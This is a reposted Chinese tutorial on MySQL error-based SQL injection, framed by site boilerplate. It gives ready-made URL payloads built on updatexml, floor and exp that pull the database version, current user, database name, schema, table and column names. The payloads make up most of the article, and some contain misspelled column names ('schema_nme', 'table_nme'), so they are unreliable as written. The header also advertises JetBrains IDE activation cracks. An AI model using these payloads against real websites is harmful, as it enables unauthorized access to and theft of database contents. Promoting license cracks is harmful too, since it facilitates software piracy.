mysql报错注入_mysql报错注入[通俗易懂]

mysql报错注入_mysql报错注入[通俗易懂]报错注入这里主要介绍3种MySQL数据库报错注入的发法,分别是updatexml、floor和exp。1.updatexmlupdatexml的报错原理从本质上来说就是函数的报错。selectupdatexml(1,concat(0x7e,(selectversion()),0x7e),1);这里还是使用前面的例子,举出一个爆破数据库版本的样例Payload:爆破数据库版本信息?id=1’+…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

报错注入

这里主要介绍3种MySQL数据库报错注入的发法,分别是updatexml、floor和exp。

1.updatexml

updatexml的报错原理从本质上来说就是函数的报错。

select updatexml(1,concat(0x7e,(select version()),0x7e),1);

这里还是使用前面的例子,举出一个爆破数据库版本的样例Payload:

爆破数据库版本信息

?id=1′ +updatexml(1,concat(0x7e,(select version()),0x7e),1)%23

?id=1′ and updatexml(1,concat(0x7e,(select version()),0x7e),1) –+

其中0x7e是ASCII编码,解码结果。

mysql报错注入_mysql报错注入[通俗易懂]

爆破当前用户

?id=1′ and updatexml(1,concat(0x7e,(select user()),0x7e),1) –+

mysql报错注入_mysql报错注入[通俗易懂]

爆破当前使用的数据库

?id=1′ and updatexml(1,concat(0x7e,(select database()),0x7e),1) –+

mysql报错注入_mysql报错注入[通俗易懂]

爆破数据库中的库名

?id=1′ and updatexml(1,concat(0x7e,(select schema_nme from information_schema.schemata limit 0,1),0x7e),1) –+

mysql报错注入_mysql报错注入[通俗易懂]

爆破表名

?id=1′ and updatexml(1,concat(0x7e,(select table_nme from information_schema.tables where table_schema= ‘test’ limit 0,1),0x7e),1) –+

mysql报错注入_mysql报错注入[通俗易懂]

其他功能的Payload可以参照下面floor的使用方法来修改。

2.floor

爆破数据库版本信息

?id=1′ +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

mysql报错注入_mysql报错注入[通俗易懂]

爆破当前用户

?id=1′ +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

mysql报错注入_mysql报错注入[通俗易懂]

爆破当前使用的数据库

?id=1′ +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

mysql报错注入_mysql报错注入[通俗易懂]

爆破指定表的字段(下面以表名为emails举例说明)

?id=1′ +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

mysql报错注入_mysql报错注入[通俗易懂]

注意,这里我们采用的是十六进制编码后的表名。如果想采用非十六进制编码的表名则需要添加引号,但是这时候有可能会出现单引号导致的报错。

这这里,我们只演示爆破数据库版本的Payload,关于其他Payload,可自行研究并复现。

3.exp

接下来是exp函数报错,exp()报错的本质原因是报错。我们可以在MySQL中进行。

select exp(~(select * from (select user())x));

同样使用前面的例子,Payload为。

?id=1′ and exp(~(select * from (select user())x))%23

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/187426.html原文链接:https://javaforall.net

(0)
上一篇 2022年9月30日 下午4:46
下一篇 2022年9月30日 下午5:00


相关推荐

  • include用法及搭配(include相关短语)

    iostream与iostream.h#include<iostream.h>//这个就是1998年标准化以后的标准头文件#include<iostream>//这个就是标准化以前的头文件更本质上的区别就是iostream把标准C++库的组件放在一个名位std的namespace里面。而相对的iostream.h则将这些标准组件放在全…

    2022年4月14日
    72
  • vue动态绑定class的几种方法

    vue动态绑定class的几种方法vue 动态绑定 class 的几种做法

    2026年3月19日
    2
  • SpringBoot注解最全详解(整合超详细版本)

    SpringBoot注解最全详解(整合超详细版本)使用注解的优势 1 采用纯 java 代码 不在需要配置繁杂的 xml 文件 2 在配置中也可享受面向对象带来的好处 3 类型安全对重构可以提供良好的支持 4 减少复杂配置文件的同时亦能享受到 springIoC 容器提供的功能一 注解详解 配备了完善的释义 可采用 ctrl F 来进行搜索哦 SpringBootAp

    2026年3月20日
    2
  • C语言中voliate关键字的作用「建议收藏」

    C语言中voliate关键字的作用「建议收藏」一个变量用voliate关键字修饰,是要告诉编译器,这个变量的值随时可能发生变化,所以编译器每次都必须从变量对应的内存地址中获取该变量的值。voliate的常用方式:当一个变量表示某寄存器的值时,需要用voliate修饰,这样编译器就不会优化,所谓优化,就是每次去读取寄存器里面的数据,作为这个变量的值,问题在于,如果程序中已经改变了该变量的值,那么就会导致这个变量值跟寄存器里面的值不一样,从而导致冲突,用voliate就会避免这个问题,因为不会再去寄存器读取数据作为该变量的值了,而是直接去变量对应的内存地

    2022年5月18日
    77
  • 旋转机械振动的基本特性分析图_旋转机械振动监测及故障诊断

    旋转机械振动的基本特性分析图_旋转机械振动监测及故障诊断旋转机械的主要功能是由旋转部件来完成的,转子是其最主要的部件。旋转机械发生故障的主要特征是机器伴有异常的振动和噪声,其振动信号从幅域、频域和时域反映了机器的故障信息。因此,了解旋转机械在故障状态下的振动机理,对于监测机器的运行状态和提高诊断故障的准确率都非常重要。一、转子振动的基本特性旋转机械的主要部件是转子,其结构型式虽然多种多样,但对一些简单的旋转机械来说,为分析和计算方便,一般都将转

    2022年8月31日
    9
  • C语言 排序算法_C语言中三大经典的排序算法

    C语言 排序算法_C语言中三大经典的排序算法文章目录前言一、插入排序1.1直接插入排序1.2希尔排序二、使用步骤1.引入库2.读入数据总结前言常见的排序算法如下:一、插入排序1.1直接插入排序基本思想:把待排序的记录按其关键码值的大小逐个插入到一个已经排好序的有序序列中,直到所有的记录插入完为止,得到一个新的有序序列。实际中我们玩扑克牌时,就用了插入排序的思想:当插入第i(i>=1)个元素时,前面的array[0],array[1],…,array[i-1]已经排好序,此时用array[i]的排序码与array[i-1],a

    2025年6月19日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号